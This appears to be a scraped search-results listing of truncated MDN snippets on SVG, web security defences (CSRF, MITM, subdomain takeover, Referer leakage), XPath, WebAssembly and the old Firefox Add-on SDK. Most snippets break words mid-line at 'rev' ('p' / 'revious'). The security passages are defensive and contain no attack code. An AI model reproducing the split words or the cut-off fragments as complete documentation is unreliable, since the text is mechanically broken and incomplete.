... sourcealpha this keyword represents the graphics elements that were the original input into the <filter> element. sourcealpha has all of the same rules as sourcegraphic except that only the alpha channel is used. backgroun...
rotate - SVG: Scalable Vector Graphics
the rotate attribute specifies how the animated element rotates as it travels along a path specified in an <animatemotion> element. usage notes value auto | auto-
reverse | <number> default value 0 animatable no the auto and auto-
reverse values allow the animated element's rotation to change dynamically as it travels along the path. if the value of rotate is auto, the element turns to align its right-hand side in the current direction of motion. if the value is auto-
reverse, it turns its left-hand side in the current direction of motion. setting rotate's value to a number specifies a constant rotation, in degrees, that does not change with the animation. the default value of 0 keeps the animated element in its original orientation. example...
...ite" rotate="auto"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(200, 0)"> <use href="#themotionpath"/> <!-- blue arrow which will rotate backwards along the motion path --> <path fill="blue" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto-
reverse"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(300, 0)"> <use href="#themotionpath"/> <!-- purple arrow which will have a static rotation of 210 degrees --> <path fill="purple" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="210"> <...
SVG Attribute reference - SVG: Scalable Vector Graphics
xactly how the element should be handled or rendered. below is a list of all of the attributes available in svg along with links to reference documentation to help you learn which elements support them and how they work. ...
...s height, result, width, x, y transfer function attributes type, tablevalues, slope, intercept, amplitude, exponent, offset animation attributes animation attribute target attributes attributetype, attributename animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by, auto
reverse, accelerate, decelerate animation addition attributes additive, accumulate event attributes animation event attributes onbegin, onend, onrepeat document event attributes onabort, onerror, onresize, onscroll, onunload global event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondraglea...
<marker> - SVG: Scalable Vector Graphics
line> or <polygon> element. markers are attached to shapes using the marker-start, marker-mid, and marker-end properties. ...
...idth, markerheight and the contents of the <marker>. value type: userspaceonuse|strokewidth ; default value: strokewidth; animatable: yes markerwidth this attribute defines the width of the marker viewport. value type: <length> ; default value: 3; animatable: yes orient this attribute defines the orientation of the marker relative to the shape it is attached to. value type: auto|auto-start-
reverse|<angle> ; default value: 0; animatable: yes preserveaspectratio this attribute defines how the svg fragment must be deformed if it is embedded in a container with a different aspect ratio. value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmidymid| xmaxymid| xminymax| xmidymax| xmaxymax) (meet|slice)? ; default value: xmidymid meet; animatable: yes refx this attribute defines th...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
mented yet (bug 1318208) vector-effect has no effect within 3d rendering context implementation status unknown consider clip and overflow on svg document referenced by <image> implementation status unknown paths change notes b and b path commands implementation status unknown z and z path commands to add path coordinate data to p
revious command implementation status unknown not render <path>, <polygon> and <polyline> with no data implementation status unknown svgpathseg*, svganimatedpathdata and related methods removed from svgpathelement implementation status unknown d attribute as css property implementation status unknown basic shapes change notes pat...
...efox 26.0 / thunderbird 26.0 / seamonkey 2.23)) child keyword for <paint> values and marker properties implementation status unknown vector-effect property only none and non-scaling-stroke values are supported (bug 528332 (firefox 15 / thunderbird 15 / seamonkey 2.12), bug 1318208) arcs value for stroke-linejoin not implemented (bug 1239142) auto-start-
reverse value for <marker>'s orient attribute implemented (bug 879659) svgpaint removed implementation status unknown fill and stroke taking multiple paints implementation status unknown z-index not implemented (bug 360148 child(<integer>) paint value implementation status unknown display of zero-length subpaths depends on stroke-linecap att...
Scripting - SVG: Scalable Vector Graphics
one can override default browser behaviors with the evt.p
reventdefault( ) method, add eventlisteners to objects with the syntax element.addeventlistener(event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", ""). note the existence of all three arguments setting properties. p
reventing default behavior in event code when writing drag and drop code, sometimes you'll find that text on the page gets accidently selected while dragging. or if you want to use the backspace key in your code, you want to override the browser's default behavior when the backspace key is pressed, which is to go back to the p
revious page. the evt.p
reventdefault() method lets you do this. using eventlisteners with objects the methods addeventlis...
...ipt functions when calling a javascript function that resides in the html file from an svg file that is embedded in an html document, you should use parent.functionname() to reference the function. although the adobe svg viewer plugin allows the use of functionname(), it's not the preferred way to do things. according to the svg wiki the "parent" js variable is broken in adobe's svg version 6 p
review plugin. the suggested workaround is to use "top" instead of "parent". since it is a beta version of their plugin, we can probably safely ignore this. more information and some examples can be found on the svg wiki inter-document scripting page. setproperty has three parameters the function svgelement.style.setproperty("fill-opacity", "0.0") throws a domexception - syntax err in mozilla. th...
Basic shapes - SVG: Scalable Vector Graphics
the purpose of these shapes is fairly obvious from their names. some of the parameters that determine their position and size are given, but an element reference would probably contain more accurate and complete descriptions along with other properties that won't be covered in here. however, since they're used in most svg documents, it's necessary to give them some sort of introduction. basic shapes to insert a shape, you create an element in the document. different elements correspond to different shapes and take different parameters to describe the size and position of those shapes. ...
...ratic curves, and many more. ...
Fills and Strokes - SVG: Scalable Vector Graphics
most svg you'll find around the web use inline css, but there are advantages and disadvantages associated with each type. fill and stroke attributes painting basic coloring can be done by setting two attributes on the node: fill and stroke. using fill sets the color inside the object and stroke sets the color of the line drawn around the object. you can use the same css color naming schemes that you use in html, whether that's color names (that is red), rgb values (that is rgb(255,0,0)), hex values, rgba values, etc. ...
...ify an external stylesheet for your css rules through normal xml-stylesheet syntax: <?xml version="1.0" standalone="no"?> <?xml-stylesheet type="text/css" href="style.css"?> <svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"> <rect height="10" width="10" id="myrect"/> </svg> where style.css looks something like: #myrect { fill: red; stroke: black; } « p
reviousnext » ...
Introduction - SVG: Scalable Vector Graphics
it can be used to create an image either by specifying all the lines and shapes necessary, by modifying already existing raster images, or by a combination of both. the image and its components can also be transformed, composited together, or filtered to change their appearance completely. svg came about in 1999 after several competing formats had been submitted to the w3c and failed to be fully ratified. svg is supported by all major browsers. a downside is loading svg can be slow. svg does offer benefits, some of which include having a dom interface available for it, and not requiring third-party extensions. ...
...itives for small devices with low capabilities. ...
Other content in SVG - SVG: Scalable Vector Graphics
embedding raster images much like the img element in html svg has an image element to serve the same purpose. you can use it to embed arbitrary raster (and vector) images. the specification requests applications to support at least png, jpeg and svg format files. the embedded picture becomes a normal svg element. ...
...plications of svg this is a very good way to join both worlds. note: please keep in mind, that the content of the foreignobject must be processable by the viewer. a standalone svg viewer is unlikely to be able to render html or mathml. since the foreignobject is an svg element, you can, like in the case of image, use any svg goodness with it, which then will be applied to its content. « p
reviousnext » ...
Patterns - SVG: Scalable Vector Graphics
they're also very powerful, so they're worth talking about and getting at least a fundamental grasp on. like gradients, the <pattern> element should be put in the <defs> section of your svg file. ...
...fill="url(#gradient1)" fill-opacity="0.5"/> </pattern> of course, this means the pattern won't scale if you change your object size later. all three of the preceding examples are shown below on a rectangle that has been slightly elongated to a height of 300px, but i should note that it's not an exhaustive picture, and there are other options available depending on your application. « p
reviousnext » ...
Positions - SVG: Scalable Vector Graphics
the grid for all elements, svg uses a coordinate system or grid system similar to the one used by canvas (and by a whole lot of other computer drawing routines). that is, the top left corner of the document is considered to be the point (0,0), or point of origin. positions are then measured in pixels from the top left corner, with the positive x direction being to the right, and the positive y direction being to the bottom. ...
...e "in" or "cm", are then calculated in a way that makes them appear 1:1 in the resulting image. a quote from the svg 1.1 specification illustrates this: [...] suppose that the user agent can determine from its environment that "1px" corresponds to "0.2822222mm" (i.e., 90dpi). then, for all processing of svg content: [...] "1cm" equals "35.43307px" (and therefore 35.43307 user units) « p
reviousnext » ...
SVG image element - SVG: Scalable Vector Graphics
in this basic example, a .jpg image referenced by an href attribute will be rendered inside an svg object: <?xml version="1.0" standalone="no"?> <!doctype svg public "-//w3c//dtd svg 1.1//en" "http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd"> <svg width="5cm" height="4cm" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="firefox.jpg" x="0" y="0" height="50px" width="50px"/> </svg> there are some important things to take note of (referenced from the w3 specs): if you do not set the x or y attributes, they will be set to 0. ...
...k"> <image href="firefox.jpg" x="0" y="0" height="50px" width="50px"/> </svg> there are some important things to take note of (referenced from the w3 specs): if you do not set the x or y attributes, they will be set to 0. if you do not set the height or width attributes, they will be set to 0. having a height or width attribute of 0 will disable rendering of the image. « p
reviousnext » ...
SVG fonts - SVG: Scalable Vector Graphics
since accessing the correct font file is however crucial for rendering text correctly, a font description technology was added to svg to provide this ability. it was not meant for compatibility with other formats like postscript or otf, but rather as a simple means of embedding glyph information into svg when rendered. svg fonts are currently supported only in safari and android browser. internet explorer hasn't considered implementing this, the functionality has been removed from chrome 38 (and opera 25) and firefox has postponed its implementation indefinitely to concentrate on woff. ...
...> <text font-family="super sans">my text uses super sans</text> option: reference a remote font the above mentioned font-face-uri element allows you to reference an external font, hence allowing greater re-usability: <font> <font-face font-family="super sans"> <font-face-src> <font-face-uri xlink:href="fonts.svg#super_sans" /> </font-face-src> </font-face> </font> « p
reviousnext » ...
Texts - SVG: Scalable Vector Graphics
the one is the inclusion and display of text in an image, and the other are svg fonts. the latter may be described in a later section of the tutorial, while we will focus completely on the first part: bringing text into an svg image. basics we have seen in the introducing example, that the text element can be used to put arbitrary text in svg documents: <text x="10" y="10">hello world!</text> the x and y attributes determine, where in the viewport the text will appear. the attribute text-anchor, which can have the values "start", "middle", "end" or "inherit", decides in which direction the text flows from this point. ...
...="200" height="100" xmlns="http://www.w3.org/2000/svg"> <path id="my_path" d="m 20,20 c 80,60 100,40 120,20" fill="transparent" /> <text> <textpath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> a curve. </textpath> </text> <style><![cdata[ text{ dominant-baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> « p
reviousnext » ...
Tools for SVG - SVG: Scalable Vector Graphics
browser support as of internet explorer 9, all major browsers support svg: ie 9, mozilla firefox, safari, google chrome and opera. mobile devices with webkit-based browsers also support svg. on older or smaller devices, chances are that svg tiny is supported. inkscape url: www.inkscape.org one of the most important tools for a graphics format is a decent drawing program. inkscape offers state-of-the-art vector drawing, and it's open source. moreover, it uses svg as its native file format. ...
...and gnuplot both support exporting as svg. to render graphs on the web jsxgraph supports vml, svg and canvas, automatically deciding which technology to use based on browser capabilities. in gis (geographic information system) applications svg is often used as both storage and rendering format. see carto.net for details. more tools! the w3c offers a list of programs that support svg. « p
revious ...
Certificate Transparency - Web security
ewly issued certificates are 'logged' to publicly run, often independent ct logs which maintain an append-only, cryptographically assured record of issued tls certificates. in this way, certificate authorities (cas) can be subject to much greater public scrutiny and oversight. potentially malicious certificates, such as those that violate the ca/b forum baseline requirements, can be detected and
revoked much more quickly. browser vendors and root store maintainers are also empowered to make more informed decisions regarding problematic cas that they may decide to distrust. background ct logs are built upon the foundation of the merkle tree data structure. nodes are labelled with the cryptographic hashes of their child nodes. leaf nodes contain hashes of actual pieces of data. the label of ...
...mechanism is used. with the latter methods, servers will need to be updated to send the required data. the advantage is that the server operator can customise the ct log sources providing the scts sent via the tls extension/stapled ocsp response. browser requirements google chrome requires ct log inclusion for all certificates issues with a notbefore date of after 30 april 2018. users will be p
revented from visiting sites using non-compliant tls certificates. chrome had p
reviously required ct inclusion for extended validation (ev) and symantec-issued certificates. apple requires a varying number of scts in order for safari and other servers to trust server certificates. firefox does not currently check or require the use of ct logs for sites that users visit. the expect-ct header can be...
Referer header: privacy and security concerns - Web security
there are privacy and security risks associated with the referer http header. this article describes them, and offers advice on mitigating those risks. the referrer problem the referer (sic) header contains the address of the p
revious web page from which a link to the currently requested page was followed, which has lots of fairly innocent uses including analytics, logging, or optimized caching. however, there are more problematic uses such as tracking or stealing information, or even just side effects such as inadvertently leaking sensitive information. for example, consider a "reset password" page with a social media link in a footer. if the link was followed, depending on how information was shared the social media site may receive the reset password url and may still be able to...
...sed, the information may not be something the user wants shared. how can we fix this? much of this risk can be mitigated by sensible design of applications. a sensible application would remove such risks by making password reset urls only usable for a single use, or when combined with a unique user token, and transmitting sensitive data in different ways. you should use post rather than get whe
rever possible, to avoid passing sensitive data to other locations via urls. you should always use https for your sites. this has many security advantages, including the fact that https sites will never transmit referer information to non-https sites. this is becoming less useful in this context now that most of the web is using https, but it is still a worthy consideration. in addition, you should...
Subdomain takeovers - Web security
o capture protected information (including logins) or send malicious content to unsuspecting users. a subdomain is like an electrical outlet. if you have your own appliance (host) plugged into it, everything is fine. however, if you remove your appliance from the outlet (or haven’t plugged one in yet), someone can plug in a different one. you must cut power at the breaker or fuse box (dns) to p
revent the outlet from being used by someone else. how do they happen? if the process of provisioning or deprovisioning (removing) a virtual host is not handled properly, there can be an opportunity for an attacker to take over a subdomain. during provisioning an attacker sets up a virtual host for a subdomain name you bought on the hosting provider, before you get to do it. suppose you control ...
... same name and hosting provider. you (or your company) decide that you no longer want to maintain a blog, so you remove the virtual host from the hosting provider. however, if you don’t remove the dns entry that points to the hosting provider, an attacker can now create their own virtual host with that provider, claim your subdomain, and host their own content under that subdomain. how can i p
revent them? p
reventing subdomain takeovers is a matter of order of operations in lifecycle management for virtual hosts and dns. depending on the size of the organization, this may require communication and coordination across multiple departments, which can only increase the likelihood for a vulnerable misconfiguration. define standard processes for provisioning and deprovisioning hosts. do all...
Types of attacks - Web security
post endpoints should not interchangeably accept get requests with parameters in the query string. a csrf token should be included in <form> elements via a hidden input field. this token should be unique per user...
... have the effect of ensuring that the session cookie is not sent along with cross-site requests and so the request is effectively unauthenticated to the application server. both csrf tokens and samesite cookies should be deployed. this ensures all browsers are protected and provides protection where samesite cookies cannot help (such as attacks originating from a separate subdomain). for more p
revention tips, see the owasp csrf p
revention cheat sheet. man-in-the-middle (mitm) a third party intercepts traffic between a web server and a client (browser), and impersonates the web server in order to capture data (such as login credentials or credit card information). the traffic is passed through, possibly with alterations. open wifi networks are a typically means of executing this attack. ...
Web Components
omplex html (and associated style and script) you've sometimes had to write to render custom ui controls, and how using them multiple times can turn your page into a mess if you are not careful. web components aims to solve such problems — it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused whe
rever you like without fear of code collisions. custom elements: a set of javascript apis that allow you to define custom elements and their behaviour, which can then be used as desired in your user interface. shadow dom: a set of javascript apis for attaching an encapsulated "shadow" dom tree to an element — which is rendered separately from the main document dom — and controlling associated...
...nally, what element it inherits from. if required, attach a shadow dom to the custom element using element.attachshadow() method. add child elements, event listeners, etc., to the shadow dom using regular dom methods. if required, define an html template using <template> and <slot>. again use regular dom methods to clone the template and attach it to your shadow dom. use your custom element whe
rever you like on your page, just like you would any regular html element. tutorials using custom elements a guide showing how to use the features of custom elements to create simple web components, as well as looking into lifecycle callbacks and some other more advanced features. using shadow dom a guide that looks at shadow dom fundamentals, showing how to attach a shadow dom to an element,...
Axes - XPath
lt document. also see the 'axes' section in the xpath spec. ancestor indicates all the ancestors of the context node beginning with the parent node and traveling through to the root node. ancestor-or-self indicates the context node and all of its ancestors, including the root node. attribute indicates the attributes of the context node. only elements have attributes. this axis can be abb
reviated with the at sign (@). child indicates the children of the context node. if an xpath expression does not specify an axis, this is understood by default. since only the root node or element nodes have children, any other use will select nothing. descendant indicates all of the children of the context node, and all of their children, and so forth. attribute and namespace nodes are not inclu...
...amespace nodes. following-sibling indicates all the nodes that have the same parent as the context node and appear after the context node in the source document. namespace (not supported) indicates all the nodes that are in scope for the context node. in this case, the context node must be an element node. parent indicates the single node that is the parent of the context node. it can be abb
reviated as two periods (..). preceding indicates all the nodes that precede the context node in the document except any ancestor, attribute and namespace nodes. preceding-sibling indicates all the nodes that have the same parent as the context node and appear before the context node in the source document. self indicates the context node itself. it can be abb
reviated as a single period (.). ...
Using the WebAssembly JavaScript API - WebAssembly
resentation of any wasm code included in a web page. to view it, you can go to the debugger panel and click on the “wasm://” entry. starting soon in firefox, in addition to viewing webassembly as text, developers will be able to debug (place breakpoints, inspect the callstack, single-step, etc.) webassembly using the text format. see webassembly debugging with firefox devtools for a video p
review. memory in the low-level memory model of webassembly, memory is represented as a contiguous range of untyped bytes called linear memory that are read and written by load and store instructions inside the module. in this memory model, any load or store can access any byte in the entire linear memory, which is necessary to faithfully represent c/c++ concepts like pointers. unlike a native c/...
...grow past this maximum will throw a webassembly.rangeerror exception. the engine takes advantage of this supplied upper-bounds to reserve memory ahead of time, which can make resizing more efficient. note: since an arraybuffer’s bytelength is immutable, after a successful memory.prototype.grow() operation the buffer getter will return a new arraybuffer object (with the new bytelength) and any p
revious arraybuffer objects become “detached”, or disconnected from the underlying memory they p
reviously pointed to. just like functions, linear memories can be defined inside a module or imported. similarly, a module may also optionally export its memory. this means that javascript can get access to the memory of a webassembly instance either by creating a new webassembly.memory and passing it...
2015 MDN Fellowship Program - Archive of obsolete content
ices for effectively communicating and educating with technical information. we expect this to be between 5-10 hours of your time per week. specific projects (we encourage you to target one of these in your application): testthewebforward brief project description mozilla participates in an important w3c open testing initiative, testthewebforward.com. to support our efforts, the fellow will
review various technical specifications to identify gaps between the documentation and current situation and refine existing tests to adapt to this cross-browser test harness. activities and deliverables identify gaps between existing documentation and current development environments. the work would entail refining existing tests to adapt to this framework. required skills and experience experie...
Loading Content Scripts - Archive of obsolete content
like jquery by url, then pass in a simple script inline that can use jquery. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and
review. the contentscriptwhen option specifies when the content script(s) should be loaded. it takes one of three possible values: "start" loads the scripts immediately after the document element for the page is inserted into the dom. at this point the dom content hasn't been loaded yet, so the script won't be able to interact with it. "ready" loads the scripts after the dom for the pag...
port - Archive of obsolete content
t.js function getfirstparagraph() { var paras = document.getelementsbytagname('p'); console.log(paras[0].textcontent); self.port.removelistener("get-first-para", getfirstparagraph); } self.port.on("get-first-para", getfirstparagraph); the result is that the paragraph is only logged the first time the button is clicked. due to bug 816272 the page-mod's removelistener() function does not p
revent the listener from receiving messages that are already queued. this means that if "main.js" sends the message twice in successive lines, and the listener stops listening as soon as it receives the first message, then the listener will still receive the second message. json-serializable values the payload for a message can be any json-serializable value. when messages are sent their payloads a...
SDK API Lifecycle - Archive of obsolete content
deprecated modules on addons.mozilla.org and support developers migrating their code. the sdk will continue to provide warnings: api documentation will inform users that the module is deprecated. attempts to use a deprecated module at runtime will log an error to the error console. the amo validator will throw errors when deprecated modules are used, and these add-ons will therefore fail amo
review. all warnings should include links to further information about what to use instead of the deprecated module and when the module will be completely removed. removal the target removal date is 18 weeks after deprecation. in preparation for this date the sdk team will decide whether to go ahead with removal: this will depend on how many developers have successfully migrated from the deprecat...
Working with Events - Archive of obsolete content
k/ui/button/action").actionbutton({ id: "visit-mozilla", label: "visit mozilla", icon: "./icon-16.png" }); button.on("click", function() { require("sdk/tabs").open("https://developer.mozilla.org/"); }); removing event listeners event listeners can be removed by calling removelistener(type, listener), supplying the type of event and the listener to remove. the listener must have been p
reviously been added using one of the methods described above. in the following add-on, we add two listeners to the tabs module's ready event. one of the handler functions removes the listener again. then we open two tabs. var tabs = require("sdk/tabs"); function listener1() { console.log("listener 1"); tabs.removelistener("ready", listener1); } function listener2() { console.log("listener...
Guides - Archive of obsolete content
modules learn about the module system used by the sdk (which is based on the commonjs specification), how sandboxes and compartments can be used to improve security, and about the built-in sdk module loader, known as cuddlefish. ...
hotkeys - Archive of obsolete content
: "accel-shift-o", onpress: function() { showmypanel(); } }); var hidehotkey = hotkey({ combo: "accel-alt-shift-o", onpress: function() { hidemypanel(); } }); choosing hotkeys hotkeys should be chosen with care. it's very easy to use combinations that clash with hotkeys defined for firefox or for other add-ons. the following commonly used hotkey combinations will not pass amo
review: accel-z, accel-c, accel-x, accel-v or accel-q if you choose to use a key combination that's already defined, choose one which makes sense for the operation it will perform. for example, accel-s is typically used to save a file, but if you use it for something completely different, then it would be extremely confusing for users. no matter what you choose, it's likely to annoy some people, ...
page-worker - Archive of obsolete content
in separate files and pass their urls using the contentscriptfile property. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and
review. to learn much more about content scripts, see the working with content scripts guide. scripting trusted page content we've already seen that you can package html files in your add-on's data directory and load them using page-worker. we can call this "trusted" content, because unlike content loaded from a source outside the add-on, the add-on author knows exactly what it's doing. to intera...
simple-storage - Archive of obsolete content
data in your profile. because jpm run by default uses a fresh profile each time it runs, simple storage won't work with add-ons executed using jpm run - that is, stored data will not persist from one run to the next. the easiest solution to this problem is to use the --profile option to jpm with a path to a profile - not just a profile name. you may also need to include the --no-copy option to p
revent firefox from copying the profile to a temporarry directory each time it starts. jpm run --no-copy --profile path/to/profile/dir if you specify a non-existent profile, the same will be created, don't worry. important: if you use this method, you must end your debugging session by quitting firefox normally, not by cancelling the shell command. if you don't close firefox normally, then simple...
tabs - Archive of obsolete content
e tab object. pageshow the pageshow event is emitted when the page for a tab's content is loaded. it is equivalent to the pageshow event for the given content page. this event is similar to the load and ready events, except unlike load and ready, pageshow is triggered if the page was retrieved from the bfcache. this means that if the user loads a page, loads a new page, then moves back to the p
revious page using the "back" button, the pageshow event is emitted when the user moves back to the p
revious page, while the load and ready events are not. this event is not emitted when the tab is made the active tab: to get notified about that, you need to listen to the activate event. after this event has been emitted, all properties relating to the tab's content can be used. it is emitted after...
widget - Archive of obsolete content
using either the postmessage() api or (preferably, usually) the port api. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and
review. for example, suppose we want to implement a media player as an add-on. we could implement the main user interface as a widget hosting an array of buttons to control play/pause/stop functions. we can then use a content script to listen for clicks on those buttons. but because content scripts can't use the sdk's apis, we'll want the content script to send messages to the main add-on code, wh...
chrome - Archive of obsolete content
this module should not be confused with the "chrome" global variable that webextensions can use to access apis. the chrome module gives an add-on sdk add-on access to the components object, which in turn gives it access to a large set of privileged low-level firefox apis. ...
lang/functional - Archive of obsolete content
and checking it later. let { once } = require("sdk/lang/functional"); let setup = once(function (env) { // initializing important things console.log("successfully initialized " + env); return 1; // assume success and return 1 }); setup('dev'); // returns 1 // prints "successfully initialized dev" // future attempts to call this function just return the cached // value that was returned p
reviously setup('production'); // returns 1 // no print message is displayed since the function isn't executed parameters fn : function the function that will be executed only once inside the once wrapper. returns function : the wrapped fn that can only be executed once. chain(fn) creates a version of the input function that will return this. let { chain } = require("sdk/lang/functional"); f...
net/xhr - Archive of obsolete content
full access to any protocol scheme, which means that it can be used to read from (but not write to) the host system's entire filesystem. it also has unfettered access to any local area networks, vpns, and the internet. threat model the xmlhttprequest object can be used by an add-on to "phone home" and transmit potentially sensitive user data to third parties. if access to the filesystem isn't p
revented, it could easily be used to access sensitive user data, though this may be inconsequential if the client can't access the network. if access to local area networks isn't p
revented, malicious code could access sensitive data. if transmission of cookies isn't p
revented, malicious code could access sensitive data. attenuating access based on a regular expression may be ineffective if it's ea...
places/favicon - Archive of obsolete content
helper functions for working with favicons. globals functions getfavicon(object, callback) takes an object that represents a page's url and returns a promise that resolves with the favicon url for that page. the object can be a url string or a tab. the platform service (moziasyncfavicons) retrieves favicon data stored from p
reviously visited sites, and as such, will only return favicon urls for visited sites. let { getfavicon } = require("sdk/places/favicon"); // string example getfavicon("http://mozilla.org").then(function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); // tab example require("sdk/tabs").open({ url: "http://mozilla.org", onready: function (tab) { getfavicon(tab).then(function (url) { console.log(url); // http://m...
ui/frame - Archive of obsolete content
fic browser window in all cases, postmessage() takes two arguments: the message itself and a targetorigin. the targetorigin argument can be either the uri of the document hosted by the target, or the wildcard "*". if you use the uri, then the message will only be dispatched to the window whose document matches that uri. if you know the target uri, you should use it, as this is more secure: it p
revents another window from intercepting messages that were intended for someone else. from frame to add-on to send a message from a frame script to the add-on, use window.parent.postmessage(). this takes two arguments, the message itself and a target origin. if the frame script initiates the conversation, you need to specify "*" as the origin: window.parent.postmessage("ping", "*"); if the fram...
ui/toolbar - Archive of obsolete content
you can supply three sorts of ui components: action buttons toggle buttons frames this add-on builds part of the user interface for a music player using action buttons for the controls and a frame to display art and the currently playing song: var { actionbutton } = require('sdk/ui/button/action'); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var p
revious = actionbutton({ id: "p
revious", label: "p
revious", icon: "./icons/p
revious.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = new frame({ url: "./frame-player.html" }); var toolbar = toolbar({ title: "player", items: [p
revious, next...
package.json - Archive of obsolete content
le fields. unpack same as the unpack in an install.rdf file. useful when the extension contains binaries. updatekey same as the updatekey in an install.rdf file. see supporting updates for self-hosted add-ons. note: this key is only available with jpm. updatelink same as the updatelink for an update.rdf file. p
reviously was --update-link in cfx. see supporting updates for self-hosted add-ons. note: this key is only available with jpm. updateurl same as the updateurl for an install.rdf file. see supporting updates for self-hosted add-ons. note: this key is only available with jpm. version string representing the version of the...
Displaying annotations - Archive of obsolete content
', function onmessage(annotations) { annotations.foreach( function(annotation) { if(annotation.url == document.location.tostring()) { createanchor(annotation); } }); $('.annotated').css('border', 'solid 3px yellow'); $('.annotated').bind('mouseenter', function(event) { self.port.emit('show', $(this).attr('annotation')); event.stoppropagation(); event.p
reventdefault(); }); $('.annotated').bind('mouseleave', function() { self.port.emit('hide'); }); }); function createanchor(annotation) { annotationanchorancestor = $('#' + annotation.ancestorid); annotationanchor = $(annotationanchorancestor).parent().find( ':contains(' + annotation.anchortext + ')').last(); $(annotationanchor).addclass('annotated'); $(annotat...
Implementing the widget - Archive of obsolete content
the widget's icons you can copy the widget's icons from here: or, if you're feeling creative, you can make your own icons. either way, save them in your data/widget directory. main.js now in the lib directory open main.js and add the following code: var widgets = require('sdk/widget'); var data = require('sdk/s...
Overview - Archive of obsolete content
arches web pages for the elements they are associated with. it highlights any annotated elements that are found. when the user moves the mouse over an annotated element the matcher tells the main add-on code, which displays the annotation panel. working with data we'll use the simple-storage module to store annotations. because we are recording potentially sensitive information, we want to p
revent the user creating annotations when in private browsing mode. the simplest way to do this is to omit the "private-browsing" key from the add-on's "package.json" file. if we do this, then the add-on won't see any private windows, and the annotator's widget will not appear in any private windows. getting started let's get started by creating a directory called "annotator". navigate to it and ty...
Getting Started (jpm) - Archive of obsolete content
reference. once you've supplied a value or accepted the default for these properties, you'll be shown the complete contents of "package.json" and asked to accept it. implementing the add-on now you can write the add-on's code. unless you've changed the value of "entry point" ("main" in package.json), this goes in "index.js" file in the root of your add-on. this file was created for you in the p
revious step. open it and add the following code: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("http://www.mozilla.org...
Getting started (cfx) - Archive of obsolete content
y created * doc directory created * readme.md written * package.json written * test/test-main.js written * lib/main.js written * doc/main.md written your sample add-on is now ready for testing: try "cfx test" and then "cfx run". have fun!" implementing the add-on now you can write the add-on's code, which goes in the "main.js" file in your "lib" directory. this file was created for you in the p
revious step. open it and add the following code: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.or...
Modifying Web Pages Based on URL - Archive of obsolete content
t you should see. specifying the match pattern match pattern uses match-pattern syntax. you can pass a single match-pattern string, or an array. keeping the content script in a separate file in the example above, we've supplied content script as a string. unless the script is extremely simple, maintain the script as a separate file though. this makes the code easier to maintain, debug, and
review. to do this, you need to: save the script in add-on's data directory. use contentscriptfile option instead of contentscript and pass it script url which can be obtained using self.data.url("my-script.js"). from firefox 34 onwards, you can just use "./my-script.js" instead. for example, if we save the script above under the add-on's data directory in a file called my-script.js: // import...
Modifying the Page Hosted by a Tab - Archive of obsolete content
then open any web page in the browser window, and click the button . you should see a red border appear around the page, like this: keeping content scripts in a separate file in the example above, we've passed in content script as a string. unless script is extremely simple, maintain the script as a separate file in add-on's data directory. this makes the code easier to maintain, debug, and
review. to do this, provide option contentscriptfile not contentscript, whose value is a url pointing to one or more content script files. for example, if we save the script above under the add-on's data directory in a file called my-script.js: var self = require("sdk/self"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png...
Localization - Archive of obsolete content
} }); var hello = require("sdk/panel").panel({ height: 75, width: 150, contenturl: require("sdk/self").data.url("my-panel.html") }); given locale files for "en-us" and "fr" which provide translations of hello_id, the panel will now display "hello!" or "bonjour !", according to the current locale: the translation is inserted into the node which has the data-l10n-id attribute set. any p
reviously existing content is just replaced. the string is inserted as text, so you can't insert html using a statement like: # does not work. html tags are inserted as text. hello_id= <blink>hello!</blink> localizing element attributes this feature is new in firefox 39 you can localize certain attributes of elements with an l10n-id by setting its value with l10n-id.attributename in the propert...
Bootstrapped extensions - Archive of obsolete content
